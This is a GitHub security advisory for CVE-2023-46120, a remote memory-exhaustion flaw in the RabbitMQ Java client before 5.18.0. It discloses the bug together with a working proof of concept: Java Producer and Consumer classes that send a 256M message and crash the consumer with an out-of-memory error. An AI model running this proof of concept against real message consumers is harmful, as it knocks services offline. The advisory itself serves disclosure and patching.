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RabbitMQ Java client's Lack of Message Size Limitation leads to Remote DoS Attack

Moderate severity GitHub Reviewed Published Oct 23, 2023 in rabbitmq/rabbitmq-java-client • Updated Nov 5, 2023

Package

maven com.rabbitmq:amqp-client (Maven)

Affected versions

< 5.18.0

Patched versions

5.18.0

Description

Summary

maxBodyLebgth was not used when receiving Message objects. Attackers could just send a very large Message causing a memory overflow and triggering an OOM Error.

PoC

RbbitMQ

  • Use RabbitMQ 3.11.16 as MQ and specify Message Body size 512M (here it only needs to be larger than the Consumer memory)
  • Start RabbitMQ

Producer

  • Build a String of length 256M and send it to Consumer

package org.springframework.amqp.helloworld; 

import org.springframework.amqp.core.AmqpTemplate; 
import org.springframework.context.ApplicationContext; 
import org.springframework.context.annotation.AnnotationConfigApplicationContext; 

public class Producer {
    public static void main(String[] args) {
        ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);
        AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class); 
        String s = "A";
        for(int i=0;i<28;++i){
            s = s + s;
            System.out.println(i);
        }
        amqpTemplate.convertAndSend(s);
        System.out.println("Send Finish");
    }
 }

Consumer

  • First set the heap memory size to 128M
  • Read the message sent by the Producer from the MQ and print the length
package org.springframework.amqp.helloworld;

import org.springframework.amqp.core.AmqpTemplate;
import org.springframework.amqp.core.Message;
import org.springframework.context.ApplicationContext;
import org.springframework.context.annotation.AnnotationConfigApplicationContext;

public class Consumer {
    
    public static void main(String[] args) {
        ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);
        AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class);
        Object o = amqpTemplate.receiveAndConvert();
        if(o != null){
            String s = o.toString();
            System.out.println("Received Length : " + s.length());
        }else{
            System.out.println("null");
        }
    }
}

Results

  • Run the Producer first, then the Consumer
  • Consumer throws OOM Exception

Impact

Users of RabbitMQ may suffer from DoS attacks from RabbitMQ Java client which will ultimately exhaust the memory of the consumer.

References

Published to the GitHub Advisory Database Oct 24, 2023
Reviewed Oct 24, 2023
Published by the National Vulnerability Database Oct 25, 2023
Last updated Nov 5, 2023

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

EPSS score

0.323%
(71st percentile)

Weaknesses

CVE ID

CVE-2023-46120

GHSA ID

GHSA-mm8h-8587-p46h

Credits

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